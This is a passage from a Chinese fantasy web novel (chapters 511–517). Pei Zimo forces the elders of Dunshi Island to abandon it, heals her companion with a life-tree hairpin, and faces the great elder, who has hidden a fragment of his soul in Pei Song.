用活人炼制傀儡本来就是禁术,二长老竟然偷偷摸摸的,把岛上的族人全都炼制成了傀儡! 此刻也就只剩下几位长老站在那里面面相觑,他们眼睁睁地看着自己的族人被二长老控制,往裴子墨和白锦夜的身边冲。 而这些族人的术法显然不可能是他们的对手,冲上去,也就只有死路一条。 “你疯了么?”文子山怒吼一声,随即看向其他长老,“赶紧一起上去制住他,不然整个遁世岛都会毁在他手里的!” 现在其实也不用文子山再说什么,其他长老自然已经知道了该怎么做。 裴子墨那边还好,都是凶兽和尸体傀儡,她根本不用在意,直接摧毁就好。 可白锦夜这边不一样,全都是活生生的人,没有控制,他们还可以恢复,但若是死了,那就是真的死了。 白锦夜一开始只是阻挡,但是这些傀儡过来都是下死手,他再怎么小心,也不可能完全不伤到他们。 而且他们一旦受伤流出血来,血腥味又会更加刺激他们,他们的动作就更加发狂。 几个长老想要靠近二长老,可是也被傀儡拦住,他们根本没办法对自己的族人动手,但不动手就没办法靠近二长老。 文子山没有上前,他跳上一块巨石,拧眉看着这沙滩上的惨状,手中快速地结印,随着一道道写在空中的符咒的出现,他的脸色也越来越苍白。 写到最后,他胸中气血翻涌,虽然咬牙忍着,可还是有血丝从嘴角渗出。 最后所有的符咒在空中结成了一张网,往下罩在整个沙滩之上。 裴子墨抬头看着上方罩下来的阵法,心里一惊,当即控制着黑袍人和白锦夜往外跑。 这阵法类似于一个净化之术,能解除一切控制,而且对其他人不会有什么伤害,眼下确实是解除二长老对这些傀儡的控制的最好办法。 可白锦夜和黑袍人都是冥尸,可以说也算是傀儡术的一种。 她不清楚白锦夜和黑袍人在这阵法之下会怎么样,但就现在的情况看,没有什么比黑袍人失去控制更糟糕的事情了。 黑袍人就在离裴子墨不远的地方,他往外跑,却又被傀儡缠住,她便赶紧过去扫开了纠缠黑袍人的傀儡,让黑袍人顺利的脱离了阵法的范围。 可此刻白锦夜却还陷在傀儡之中,裴子墨只能转身朝他冲过去。 但阵法已经落下,想要完全躲开已经来不及了。 她只能抱着白锦夜借力往前一扑,他大半个身体被她推出阵法之外,随即阵法就落了下来。 白锦夜还在她的控制之中,所以她能清晰地感觉到他身上传来的痛苦。 裴子墨赶紧站起身,把他拖出阵法外,低头查看他的情况。 在他没有避开阵法的左腿上,像是被针扎了无数的针眼,从针眼里向外渗着黑色的污血。 白锦夜疼得面容都开始扭曲。 “没事,没事。”裴子墨低声安慰,脑袋里不停地想着办法,她身上没有治疗冥尸的药,唯一能试一试的,就是血莲晶露,好在这东西她一直都收集留存,先拿出一瓶给白锦夜喝了,剩下的便倒在他的腿上。 血莲晶露流过的地方,污血暂时止住。 裴子墨见状,就赶紧用血莲晶露涂抹了所有被阵法伤到的地方,然后叫了黑袍人过来,把白锦夜先送上船。 第512章 找个能做主的出来 文子山放出这个阵法之后,整个人当即脱力,从巨石上跌下来。 傀儡们失去控制,其余几个长老暂时顾不上自己受伤的族人,立刻把二长老围了起来。 他的所作所为,俨然已经成了遁世岛的公敌,他虽然没有束手就擒,但是几番缠斗下来,就已经被其他长老控制住。 随后几个长老便开始带着没有受伤的族人救治其他人。 整个沙滩上,顿时哭喊声一片。 裴子墨已经无暇顾及其他人,扶着白锦夜上了船,还不等找东西包扎他的腿,便见污血又流了出来。 他刚才喝了血莲晶露虽然能够止痛,但也只是片刻,这会又开始疼得整个人都要抽搐。 “这是怎么回事?”裴意开口问道。 裴子墨抿了抿唇,把情况简单地说了下。 裴意转头看向外面,“但这种阵法,只是能解除控制,其他傀儡被解除控制之后,并没有什么异样,为什么他会这么严重?” “我也不知道这是什么情况。”裴子墨皱起眉头,顿了顿才道,“可能是修罗血。” 炼制冥尸,最关键的,就是修罗血。 修罗一族身上的秘密很多,纵然裴子墨在地府多年,但是就连地府的人对修罗一族都没有了解得那么清楚,何况是她? 污血越流越多,眼见着白锦夜的脸色逐渐苍白,裴子墨一点办法都没有。 她倒是想离开这里,在外面起码还有那么一个老和尚也许能有什么办法,但是以白锦夜现在的情况,根本不可能支撑着离开遁世岛。 白锦夜抬手握住裴子墨的手,他能感觉到她的手在轻轻地颤抖,他有很多话想跟她说,可是却已经疼得连一个字都说不出来。 他抓着她的手按在自己的眉心。 裴子墨能感受到他的想法,他想说即便是死了也没事,反正这么多年,他们生生死死无数次,等他再轮回转世的时候,裴子墨记得去找他就行了。 他这一世也不算有什么遗憾,能一直陪着她,能看到他们孩子出世,他已经很满足了。 只不过未来的一段时间,他都不能在她身边,让她一定要多加小心,好好照顾自己。 裴意拧眉看着两个人,沉默了会才说,“要不要试试那个簪子,它既然是皇族的生命树,应该会有些用处。” 裴子墨拿出了簪子,抿了抿唇,转头看向裴意,“但这簪子怎么用?” 裴意摇了摇头,“当年王后把它交给我,只是说让我好好保管,其余什么都没说。” 裴子墨看着手里的簪子,别说怎么用这簪子,在今天之前,她甚至都没有听说过有关“皇族生命树”的事情。 眼见着白锦夜越来越虚弱,留给她思考的时间也没有多少了,她先是划破自己的手指,把血滴在了簪子上,但是簪子却没有一点反应。 她犹豫了下,又直接把簪子放在白锦夜的伤处,可依旧没什么作用。 但簪子的一端,却蹭到了刚刚她涂在白锦夜腿上的血莲晶露。 在伤处的血莲晶露已经被污血冲走,但是她涂的时候也比较急,所以其他的地方多多少少也沾上了一些。 在簪子碰到血莲晶露的那一刻,她隐隐地看到一丝流光出现在簪子之上。 裴子墨的眼睛一亮,赶紧又拿出一瓶血莲晶露,倒在簪子上。 这簪子也不算大,但是整瓶血莲晶露倒上去,却也不见流下来,就像是被簪子吸收了一样,不过在簪子的表面,又能看到血莲晶露在缓缓的流淌。 过了片刻,红色的血莲晶露竟变成了七彩的水珠,最后才从簪子的尾端落下来。 裴子墨转头看向裴意,裴意也是一脸诧异。 她赶紧挪动了下簪子,让下一滴七彩的水珠滴在了白锦夜的腿上。 这水珠像是有修复的能力,落下去之后,便在白锦夜的皮肤上蔓延开,逐渐包裹住他的伤处,随后便渗透进他的皮肤里面。 白锦夜的疼痛瞬间减轻,腿上的伤也在逐渐愈合,很快就再也没有污血流出。 而这也不过就是用了几滴七彩水珠而已。 裴子墨便赶紧拿了刚才装血莲晶露的瓶子,把剩下的七彩水珠都收集了起来。 忙完这些,她才发现第一滴滴在船板上的七彩水珠已经被船板吸收,而早就已经是枯木的船板这会竟然长出了一小截嫩芽。 “没想到血莲竟会跟皇族的生命树有关系。”裴子墨低声道。 白锦夜垂眸看着裴子墨,虽然刚才流了那么多血,但是他现在却没有一点疲惫的感觉,精力仿佛极其充沛,估摸着也是这七彩水珠的作用,他便坐起来,“若是没有血莲,这簪子恐怕也没什么用处,就跟普通的簪子没什么区别。” 裴子墨点点头,轻轻抿了下唇,抬眼看向白锦夜,“这种事我都不知道,但……又好像是有人安排好的。凌珞当时到底怎么跟你说血莲的事的?” 白锦夜轻咳了一声,别开眼,只是说,“有机会再跟你说。”说完他抬头看向外面,转移话题,“那些被二长老控制的人,伤得都不轻,要管他们么?” 裴子墨也知道,这么久了,凌珞和白锦夜一直在血莲上的事情对她回避,她也就没有再追问,反正等血莲养成的那一天,她说不定还可以再去那个到处都是红色的地方,那个从来没有露过面的人,或许能给她更多她想要的答案。 她也就站起身,抬眼向外面看去,脸色冷了冷,不久之前,那些长老还试图烧死裴意,而这些人就在围观。 他们来沙滩上,也不是为了帮她,而是为了自己的亲人。 对于这些人,她没那么博爱,“救人自然没问题,这也是个跟那些长老好好谈一谈的机会。” 她说完留下其他人在船舱里,只是带着黑袍人往沙滩上面走。 长老们本来在救人,但是看到裴子墨过来,立刻停下了手里的事,一脸警惕地盯着她。 裴子墨看了看被困在一边已经没有办法动弹的二长老,才开口问道,“所以现在遁世岛由谁做主呢?找个能做主的出来,我们聊聊。” 第513章 雾散了 几位长老互相看了看,谁也没有说话,最后还是萧南曦扶着文子山走了过来。 裴子墨冷笑了一声,“你们几位长老,看着是亲如兄弟,实际上还不是自己打着自己的算盘,如今是我镇压了大长老,不然恐怕不久之后,有人也要造反了吧?”她说着瞥了二长老一眼,又继续道,“我给你们一个月的时间,解除遁世岛周围所有的阵法,所有人离开遁世岛。” “不然,五长老看到的未来,未必不会出现。” 文子山沉默了一会,他看着周围受伤的族人,不断传入耳的哀嚎声,轻轻叹了口气,“现在不少人受了伤,一个月的时间,是不是太短了?” 言下之意,就是答应了裴子墨的要求。 “三哥……”有人想要说什么,却被文子山抬手制止。 裴子墨摇了摇头,“就一个月,如何离开,去哪里,你们自己决定,但若是一个月以后,这遁世岛上还有人,那就别怪我不留情了。” 文子山也轻轻摇了摇头,“离开这里没有问题,但是我们现在没有船,要造船,要准备离开的事,没有人手肯定不行,这么多人受了伤,真的很难保证一个月离开这里。” “只要人手足够就没问题了?”裴子墨笑了笑,将一道符纸扔到天空中,片刻便有一片乌云飘过来,雨滴落下的时候,她也把刚刚收集的七彩水珠散到了空中。 雨水混着七彩水珠一起落下,但凡碰到这水的伤口,便以肉眼可见的速度愈合。 甚至那些死了很久的尸体,也因此变得像是刚刚去世的模样,若不是早就没了魂魄,这会恐怕都能直接活过来了。 本来已经脱力的文子山,被这雨水淋在身上,力气竟也逐渐恢复。 文子山微微诧异地看着裴子墨,顿了顿,才道,“好,一个月内,遁世岛就不会再存在了。” 裴子墨微微点了点头,没再说话,转身回到了船上。 “三哥,我们真的要离开这里么?”四长老开口问道。 文子山摆了摆手,让众人先回去安顿,随即再来商议此事。 裴子墨回到船上,便让黑袍人开了船,先离开了遁世岛的范围,出了迷雾,就停下了船。 “最近这段时间,我们就要先住在船上了。”裴子墨开口道。 白锦夜知道,她应该是和那些长老达成了什么条件,大概率是限期离开遁世岛,她等在这,也无非就是等个结果,“他们真的会离开么?” “二长老这一下众叛亲离,再也没有说话做主的权力,三长老既然答应了,问题就不会太大。”裴子墨说着拧了拧眉,“不过……这些长老并不齐心,会不会出什么幺蛾子,那也是他们自己的事情了。” 他们在船上没什么事可做,除了偶尔能钓钓鱼以外,也就是看些书了。 好在裴子墨之前在船上放了不少书,不然这段日子确实不好打发。 白锦夜有时也会心血来潮,晚上陪着裴子墨躺在甲板上看星星,早上会早起叫她看日出。 裴意看着他们相处,也很欣慰,有时候又有点唏嘘,想着要是王和王后能亲眼看到这个,应该是非常的开心。 早上的海风多少有些凉,她本想给他们拿个毯子,但看着他们依偎在一起看着日出,偶尔低声说两句话,勾唇笑了笑,没有上前打扰,转身正要离开的时候,却看到另外一边站着的裴子衿。 裴子衿也是看着白锦夜和裴子墨的方向,脸上带着浓浓的恨意,手也死死地扣着缰绳。 裴意心里微微抖了一下,那天裴子墨弄晕了裴子衿之后说过她不相信裴子衿,可她们到底是姐妹,她想着这心结总要化开。 所以这几天,私下里找裴子衿聊过。 裴子衿在她面前表现得很是乖巧,说她都已经放下了。 可眼下她这表情,哪是放下的模样? 裴意站的角度,裴子衿是看不见的,她盯着白锦夜和裴子墨看了半响,才终于转身往回走,路过那桶昨天钓上来的鱼的时候,她一道术法下去,整桶的鱼都遭了殃。 等她离开之后,裴意才走过去,见到桶里的鱼全都血肉模糊,没了气息。 她拧了拧眉,转头又看了看裴子墨他们的方向,拎起桶,进了厨房。 早上几人坐下一起吃饭,裴子衿笑着给每个人盛了鱼汤。 裴意接过了汤,才开口道,“我早上看到这些鱼都死了,不过像是刚刚被杀死的样子,就做了鱼汤。” 裴子墨微微怔了下,自然知道裴意不会无缘无故说这话,她喝了口汤,才道,“谁这么勤快早起杀鱼?”说完就看向裴子衿,“子衿,你起这么早么?” 裴子衿抿了下唇,“早上这几条鱼蹦来蹦去的,吵到我了。” 裴子墨没有拆穿她,海上风浪大,声音嘈杂,几条鱼跳来跳去的能有多大声音,但是裴意突然提起这个,肯定是想要说什么,顿了顿,她也接着这话开口道,“等岛上的人离开,估摸着要么回原来居住的那里,要么……也可能自己找个地方。” “不过其实遁世岛的人都这么久没离开过这岛上,也没有跟外界沟通、相处过,最好还是先回到故地,等将来都熟悉熟悉,再想要离开也方便一些。” “子衿,你呢?你什么打算?是跟着其余的裴家人一起,还是想找个地方开始新的生活?”她说完又补充,“不过你一个人带孩子多少也不太容易,还是跟家里人住在一起比较好,是吧?” 裴子衿没想到裴子墨在这个时候提到孩子的事情,她根本不想带着那孩子,也完全不想再想起那个孩子的存在。 可如今当着裴子墨和裴意的面,她也不能把这话说得这么直白。 正想着的时候,目光突然瞥过窗外,她怔了下,才道,“看,雾散了。” 裴子墨也抬头看去,围在遁世岛周围的雾气,正在逐渐的消散。 这雾本来就不是天然形成,而是用阵法催生的,用来给遁世岛做屏障。 如今这雾气散了,就证明文子山的确在履行诺言,解除了遁世岛周围的阵法。 第514章 所有人都要死在遁世岛上! 遁世岛周围的雾气,足足用了三天的时间,才全都消散。 雾散了,便也能隐约的看清遁世岛的岸边已经有了不少的船,还有些人忙碌的身影。 裴意轻轻地叹了口气,“这么多年,遁世岛都避着地府,如今阵法消散,地府那边恐怕很快就要找上来了,真的离开遁世岛,不知道有少人……会死在路上。” “可这本来就是他们的命。”裴子墨开口道,“有些人,本来早就该死了。” 说完,她垂眼沉默了会,才又道,“其实地府的人收不到遁世岛的魂魄,也不会放魂魄来遁世岛转世。遁世岛但凡新出生的婴儿,要么是在遁世岛死去的人,几位长老把魂魄净化一番,记忆封印,让他们转世,要么就是每次出去的时候,会收了很多人的魂魄,回来等着需要用的时候,再逐一放出来。” “这样一来,其实很多人在地府那边根本就没有记录,就算有记录,那也是寿命终了之后,魂魄没有到地府报道。” “操纵人的生死,插手投胎转世之事,这些地府那边都会一一记录,将来这些账都是要算的。” “而且这样下去,对遁世岛也不是什么好事,万一哪一天哪个长老的术法出了问题,导致那些魂魄的记忆苏醒,整个岛上不就乱了套?爹成了儿子,爷爷成了孙子,那场面该如何处理?况且魂魄到了地府,要经过重重的洗礼,太多年没有进过地府的魂魄,以后恐怕都不能再投胎转世。” “也就是几位长老的阵法庇佑,不然有些魂魄估计早就魂飞魄散了。” “人既然活在这人世间,不就是该遵守这些规则么?人人都想打破规则,那打破规则就要付出代价。” 裴子墨说着轻轻叹了一口气,“只不过,这些长老们做的事情,代价就要所有的后人一起承担了。” 裴意闻言,也忍不住叹了口气,当年,她爹还活着的时候,就说过,乾坤殿是本就独立于人世间之外的存在,况且这么多年,乾坤殿对外面的事情也从不插手。 那时候是阴差阳错,让“十一公”有了效仿乾坤殿的想法,但效仿终究是效仿,假的终究是假的。 距离裴子墨给的期限还有十几天,他们也不着急过去催促,而且远远地看着,遁世岛的人确实也在为离开做着准备。 等到只剩下三天的时候,船都已经造好了,那些人开始一趟一趟的往船上搬东西。 裴子墨站在甲板上看了会,这些年,遁世岛肯定是有不少好东西的,如今要离开,自然是舍不得扔下。 她转身回了船舱,拿起之前的书继续看起来。 只不过当天晚上刚睡下没多久,她就从梦中惊醒,本该黑漆漆的窗外,却隐隐地透着一丝亮光。 她赶紧推开窗子,就看到遁世岛那边起了火。 白锦夜被她吵醒,坐起来,也看到了窗外的大火。 裴子墨便立刻控制黑袍人把船往遁世岛那边开。 这大火也惊动了遁世岛的人,想要救火的人立刻施咒唤雨。 放火的人也不甘示弱,一旦有乌云过来,就立刻散雨。 两拨人此刻已经在海滩上对峙。 文子山眯眼看着裴松,“这些天你都不见踪影,原来是在密谋这件事。” 帮着裴松的,也有两位长老,那天商议的时候,他们本就对这件事不赞同,可是因为人少,即便是不赞同也起不到什么作用。 “三长老,自从阵法散了以后,我们已经有些族人死了,而且死了之后,魂魄就立刻被地府那边收走。我们这边有这样的人,我想你族里应该也有吧?难道你就真的要眼睁睁地看着,咱们族人都死掉,魂魄都被地府收走么?”八长老忍不住开口道,“你能狠心看得下去,我看不下去,要走你们走,我们是不会走的!” “就凭你们,恐怕也没办法重建遁世岛的阵法,即便不走,留在遁世岛上也还是一样,再说,在我们来遁世岛之前,生老病死,投胎转世不都是常事?怎么现在你们就没办法接受了?”文子山眯了眯眼,“退一万步,你们若是真的不想走,也没人逼你们,可你们现在把船烧了,我们不是也同样走不了么?” “走不了?那不是更好?”裴松笑了一声,“那咱们就继续留在这岛上!文子山,我告诉你就算是死,所有人也要死在遁世岛上!” 文子山盯着裴松,看了半响,才诧异地道,“你不是裴松,你是……大哥?” 裴松见文子山认出了自己,脸上的笑容更大,“不错,这些年,我分了一丝魂魄放在裴松的身上,以前只是为了控制他,没想到这一次……阴差阳错,倒也是救了自己。你们这些人,不想着去把我救出来,反倒在这里抢上了我的位置!” “一群见识短浅的东西!裴子墨才做了什么,就把你们吓得逃出遁世岛!我倒要看看,一个月内,我们没有离开遁世岛,她是不是真的敢把岛上的人全都杀了!” 他的话音落下,便有一个惊天之雷蓦地炸响,随即大雨倾盆而下。 即便有人用了散雨的术法,也毫无用处。 大雨之下,火势很快就被扑灭。 只不过造好的船,如今烧得也就剩下了一半。 “要是让岛上的人都给你陪葬,那对他们来说,也未免太不公平了。”裴子墨慢慢地走近,“不过我能镇压你一次,就能镇压你第二次,你若是觉得被镇压太便宜你了,那把你这丝魂魄送去地府,也不是不可以。” 裴松看着裴子墨冷笑,“上一次是有那个老和尚帮你,现在我倒要看看,你要怎么镇压我。” “我还以为你会吃一堑长一智,没想到……你活了这么多年,还是没学会怎么长记性。”裴子墨说完看向文子山,“三长老,若是东西已经收拾妥当了,你就带着愿意离开遁世岛的人,先走吧。虽然距离答应你的时间,还有两天,不过看样子,有些人连多活两天都嫌多了,既然他们想要早点上路,那我就不强留了。” 第515章 你还记得乾坤殿么? 文子山沉默了一会,可他也知道,在这里僵持下去,最后遭殃的,也只会是遁世岛的族人。 于是便后退了几步,吩咐人通知大家提前上船,离开这里。 裴子墨看向裴松,“我如果是你,这会就消消停停的跟着大家一起离开遁世岛,回头找个机会,去破开阵法,把自己救出来。” 裴松冷笑了一声,“我现在把你杀了,然后再去破开阵法,也是一样。” 裴子墨笑了笑,“我倒不认为你有这个本事,如果你真的能做到,就不会这么多天都龟缩起来,等到现在才跑出来烧船。” 她说着顿了下,“要是我没猜错,你留在裴松身上的,也就只是一丝魂魄,这丝魂魄最多有你的记忆,却没有什么术法。毕竟你修炼魂魄之术不得法门,都是些很初级的能力,分裂出的这丝魂魄,根本不可能像你的本体一样。” “况且,你最开始就是为了控制裴松,更不可能在这件事上做得多精细。” “甚至于我猜这只是一个尝试,你也许害怕若是这丝魂魄被裴松不小心给吸收消化了,那你可就不是遁世岛上唯一一个修炼魂魄之术的人了。” “裴子墨!”裴松咬了咬牙,“你找死!” “我是不是找死都不重要,我到了地府,大不了再投胎转世,但是你可能就不行了。”裴子墨根本不急着跟他动手,那边文子山还在带着人登船,这么多人要离开,也不是一时半刻的事,所以能拖延时间,她尽量还是要拖延一下,“大长老,你可要想好,你死了跟我死了的下场,完全不一样呢。” 裴松眯眼盯着她好一会,才转头看向自己身边的八长老,“你们去拦住他们上船,不要让他们离开。” 八长老点点头,带着人往文子山那边追去。 只不过刚走了几步,就被黑袍人和白锦夜拦住。 “你以为就凭你们三个,想要拦住我们这么多人?”裴松冷笑了一声,“裴子墨,你也太不把遁世岛放在眼里了。” “以前我是觉得遁世岛挺厉害的,但这么多年下来,发现遁世岛其实也不过就是如此。”裴子墨说着顿了顿,“大长老,你还记得乾坤殿么?” 裴松微微一怔,眯眼看向裴子墨,但又很快想明白什么,“看样子,你娘死活不肯跟我们说的事情,已经全都告诉你了。” “你们这么多年,想要效仿乾坤殿,可你们真的知道乾坤殿是一个什么样的存在么?”裴子墨又问道。 裴松没有说话,当年裴意的父亲找上他们,说他来自乾坤殿,又将乾坤殿的大概情况给他们描述了一番,说希望他们能够去乾坤殿帮助他的族人。 若是他们愿意,将来乾坤殿就会给他们留下一席之地。 大概是为了让他们答应,所以裴意的父亲也没有太多隐瞒,说乾坤殿独立于三界,不在五行之中,更不受地府那边投胎转世的约束。 他说在乾坤殿里面,有他们自己的宗祠,人死了之后,魂魄就会融入宗祠,若干年之后,魂魄经过洗礼,便有了重新投胎的能力。 而且他们宗祠甚至能孕育魂魄,使乾坤殿能够长长久久的延续。 还说只要他们能够帮乾坤殿这一次,乾坤殿许诺,他们从此以后也可以脱离三界。 他们受天地的庇佑,不死不灭,可是他们有族人,他们的族人却不受庇佑。 若是乾坤殿像是裴意的父亲说的那般自然好,可他们到了乾坤殿,也始终是外人,那他们靠自己的能力,重新制造一个乾坤殿不是更好么? 再说,若是乾坤殿真的像他说的那么厉害,又何必出来求助? 说不定他们帮的这个忙,是九死一生,这样得不偿失的事情,他们自然不愿意接受。 当时“神算公”也曾试图推算过相关的事情,可大概是因为乾坤殿不在五行之中,根本就不上卦,完全没有办法从卦象里看出来裴意的父亲说的是真的还是假的,更不知道他们要去帮的这个忙是吉是凶。 他们商议之下,最终还是没有答应去给乾坤殿帮忙。 而是从此开始,就在想能打造自己的“乾坤殿”,再也不受地府的约束。 他们受天帝庇佑,那就让他们的族人们受他们的庇佑,永远不用担心生老病死之苦。 只不过这么多年,他心里也知道,他们只是表面上成功了,可是一旦离开遁世岛,一切就都会恢复原状,甚至只要离开这里,就会被地府一直盯着。 尤其是他开始参悟魂魄之力之后,才知道,他们虽然也是收集魂魄,完成投胎转世的过程,但是这里面跳过了一些程序,后续多少都会有些缺陷。 特别是时间久了以后,有些魂魄虽然转世了,但是却有残缺。 甚至于也发生过经他们手转世几次的魂魄突然魂飞魄散。 他也明白,乾坤殿的那个祠堂,应该有着和地府某种相似的地方,所以魂魄从那个祠堂转生,不会有任何的影响。 只可惜,他们十一个人除了凌霄,谁都没有去过地府,而因为遁世岛的事情,凌霄只要再去地府,就会被地府围困,所以凌霄也很多年都不敢去了。 他们没有丝毫的头绪,实在没有办法了,只能寄希望于裴意。 只是裴意不识抬举,无论如何都不肯透露乾坤殿的事情,后来更是逃到后山,没了踪迹。 眼下裴子墨突然提到乾坤殿的事情,确实引起了他兴趣。 裴松轻笑了一声,“我知道你想给他们争取一点时间,让他们能够全都上船,离开这里。我也可以陪你聊聊,只要说你出来的,有关乾坤殿的事情,是真的我想听到的。” “乾坤殿,那可是个好地方。”裴子墨笑道,“裴家在乾坤殿,是皇族,掌控乾坤殿的一切,当年你若是答应了帮忙,这会就是乾坤殿的功臣,哪还用被压在困阵之下?哪还用靠着一丝寄存在别人身上的魂魄跟我说话?” 第516章 我只是想要告诉你,你失去过什么 “好地方也都是你们自己说的。”裴松冷笑一声,“对于没见过的,我从不轻易相信。” 裴子墨也不在意他的话,只是继续说,“这世上本就没有人可以成仙,人世间的人,即便是修炼术法达到顶级,都不可能突破仙界的壁垒。我想其实这么多年,你们也考虑过这个问题,也想过要成仙的事情,但你们找不到任何一丝能够成仙的方法。” “甚至于,这世间大部分术法,都是出自‘十一公’,你们已经算是这个世界上顶尖的存在,但依旧没有办法摸到一丝成仙的门径。” “不是因为你们摸不到,而是因为,根本就没有。” 裴子墨轻声笑了笑,“那些曾经谣传里有什么羽化飞升的事,其实是肉体都不在了,魂魄被吸纳到乾坤殿的宗祠,经过宗祠的洗礼,那些魂魄转生到乾坤殿,不需要去地府,脱离五行,也算是成仙的一种了吧。” “但后来,乾坤殿发生过一场大战。就是在那场大战之前,乾坤殿前来向你们寻求帮助,其实你们的术法,到了乾坤殿,也并不能算是多高,但是你们十一个人却各有各的长处,联合起来,便是不容小觑的存在。” “这么好的、能带着肉体到乾坤殿的机会你们不要,将来恐怕也再都没有机会去了。” “那次大战,乾坤殿的人数锐减,进入宗祠等待转世的魂魄多得要开始排队,实在没办法,乾坤殿就关闭了魂魄飞升至乾坤殿的通道,以致于后来有很长的一段时间,甚至到现在为止,很多人经历了雷劫,身体粉身碎骨,可魂魄却留在人世间。” “因为他们本该去乾坤殿,但是没了通道,没办法进去,而地府那边又没了他们的记录,所以就只能飘荡在人世间。” “只是以这种形态,也没办法再修炼,术法更不可能精进。” “也许等将来某一天,乾坤殿的通道打开,他们便能进入宗祠,但……那一天是什么时候,就不得而知了。” 裴松闻言,沉默了片刻,开口问道,“你是说,经历雷劫的人,基本上肉身都不会再存在?” “是。”裴子墨点点头,“无论有多充分的准备,进入乾坤殿之前,都必须舍弃这一世的肉身,只能以魂魄的方式进入宗祠。以前‘十一公’的后人里,应该有一些人经历过雷劫,可能有人死在了雷劫之中,也可能有人肉身不在了,但魂魄进入乾坤殿的宗祠。” “只不过你们并不清楚这回事,还以为他们全都死了。所以你们到了遁世岛之后,就在遁世岛周围设下重重阵法,让雷劫感受不到你们的存在,这么多年,就再也没有遁世岛的族人经受过雷劫。” “那你这样说不是很矛盾?既然要进入乾坤殿必须要舍弃这一世的肉身,又说什么给我们带着肉体到乾坤殿的机会我们不要?”裴松嗤了一声,觉得裴子墨就是在编故事骗他。 裴子墨笑了笑,“我说了,裴家在乾坤殿是皇族,他们有自己进入乾坤殿的通道,走这条通道,就可以不是魂魄的状态。” “那你现在跟我说这些,是以此为条件希望我就此罢手么?”裴松又问。 听到他说这话,裴子墨甚至笑出了声,“不,当然不是,你已经不可能再去乾坤殿了,我跟你说这些,只是想要告诉你,你失去过什么。” 裴松的手握了握拳,“从来没得到过,又何谈失去?” “倒也是呢。”裴子墨叹了口气,“不过当年你们若是去了乾坤殿,就不再受地府的约束,也不会因为你们做过的这些事,将来到地府那边受刑。可现在……我想地府那边,大概都已经准备好了要对你们动的刑罚了。” “裴子墨,你也是遁世岛的人,就算这些年你帮着地府办事,可真要清算的时候,你不见得就能逃脱。”裴松冷哼了一声道。 “谁说我是遁世岛的人呢?”裴子墨轻轻地摇了摇头,“我是乾坤殿的人。”她说着又指了指白锦夜,“他也是乾坤殿的人。” “一开始的时候,我到了遁世岛,那会我还不理解,为什么他也会到遁世岛,甚至到了‘神冥公’一脉。后来我才知道,那是因为乾坤殿的魂魄,都不会进入地府。只能靠‘神冥公’一脉开冥路的方式,把我们送进去。” “不然乾坤殿的通路已经关闭,我们死了之后,魂魄就会留在人世间,又怎么跟你们周旋到现在?你也应该庆幸,我当年的术法被限制,直到现在,才终于解开所有的限制,否则你也许没命活到今天。” 裴松微微一怔,当年裴意的父亲一个人来寻找他们,他们拒绝之后,他就留了下来,娶了一个女子为妻,可他们一生,也就只有裴意一个女儿。 所以裴家一脉的传承,大多是靠收徒。 但裴意的父亲不愿意把乾坤殿的术法外传,真正学到他术法的,其实也就只有他的妻子和裴意两个人。 至于收来的那些徒弟,再学到的,都是他妻子删删减减后的术法。 所以他妻子收的便都是女徒,也就奠定了裴家这一脉,都是女子。 他这会也终于想起,当初裴意的父亲曾经跟他说过,他们这一支乾坤殿的血脉,魂魄不是从地府而来。他当年出来的时候,乾坤殿那边就只给他带出来了一个可以转世的魂魄,所以他只能有一个女儿。 而裴子墨出生的时候,恰好有一个“裴家的故人”找过来,也是那一次,那个故人和裴意的父亲因为追兵双双遇难。 所以,裴子墨的魂魄,就是那个“裴家故人”从乾坤殿带出来的。 等后来的裴子衿和裴子轩,便是用了遁世岛已经离世的人的魂魄。 裴子墨说完这话,朝文子山那边看了一眼,慢慢地拿出量天尺。 量天尺在她的手中迅速变大,她收回目光,看向裴松,“故事讲完了,既然你们不想走,那就都留下吧。” 第517章 我只想把你留在遁世岛 见这边裴子墨和裴松动了手,八长老也带着人想要去拦文子山,不过中间有白锦夜和黑袍人挡着,他们也没办法靠近。 等最后一艘船开出去之后,八长老那边急了,迅速的朝船的方向打出了几个火球。 好在文子山就在最后一艘船上,看到有火球过来,便立刻结阵挡住。 看着那些船全都开远,裴松也停手往后退了一步,他轻笑了一声,“你想让他们走,其实我也想让他们走,他们已经生了二心,留是留不住了。而且我本来也就只有一个目的——把你留在遁世岛上。” 他说着朝天空中释放了一个信号,没一会,便有脚步奔腾的声音响起来。 裴子墨眯了眯眼,“你把二长老放了?” 裴松冷笑了一声,没有说话。 裴子墨也就明白了,他把二长老给放了,二长老最会控制的,就是傀儡。 但是如果岛上其他的人留下,在文子山的带领下,就会成为她的帮手,对裴松他们来说,反倒不利。 她立刻给黑袍人下了个命令,让他去把他们的船开远一点。 这会裴松他们等着傀儡到,也就没再往前,裴子墨便走到了白锦夜的身边,低声对他道,“你去后山找‘神算公’吧。” 白锦夜看着黑袍人往船那边走,就知道裴子墨是让他去保护裴意了,他如果再去后山,这里就只剩下裴子墨一个人了,他怎么可能放心得下? “不用担心我。”裴子墨低声道,又塞到白锦夜手里一张小小的符纸,“镇压‘神算公’的阵法上,估摸有大长老的魂魄之力,你用这个能破开阵法,等救了他出来,就赶紧带着他来汇合。” 白锦夜顺势握住裴子墨的手,把符纸按在了她的手心里,“我没有见过‘神算公’,也不知道他在后山哪里,我在这里挡着,你去找他。” 任谁都知道,留下肯定要比去后山救“神算公”危险。 在后山上要面对的,就只是一个阵法,但是这里这么多人,还有无数的傀儡在路上。 “有什么话,趁着现在赶紧说一说。”裴松看着他们两个人,“不然再说话,恐怕就是下辈子了。” 裴子墨转头看了裴松一眼,“这就不需要你操心了。”她说着抓起白锦夜的手,指腹按在自己的眉心上。 白锦夜微微一怔,他只知道他被炼成冥尸后,裴子墨能看到他的所思所想,但是没想到……原来在这一点上,竟是相互的。 “这是去后山找‘神算公’的路,你没见过他,但是他早就知道你。”裴子墨重新把符纸按在白锦夜的掌心,“去吧,不用担心我,等你们回来,我们就离开遁世岛。” 良久,白锦夜才点点头,捏着符纸,转身往后山的方向跑。 八长老见状,便要去阻拦。 裴松却抬手制止,“他这是去后山找人了。”说完这句话,他轻笑了一声,“不用管他,就算找到了神阵公,也是有去无回,那阵法上,我早就给他们加了料……” 裴子墨站在原地看着裴松,见他阻拦了八长老他们,便知道他应该是留了后手。 不过大概裴松并不知道白锦夜是冥尸的这回事,所以也不知道她这会依旧可以提醒白锦夜要小心。 她站在那,前面就是裴松等人,后面是二长老带来的傀儡们。 但是她也不急,等着他们全都走近了,才在原地盘膝坐下。 裴松眯了眯眼,裴子墨肯定不是会束手就擒的,所以显然是有什么打算。 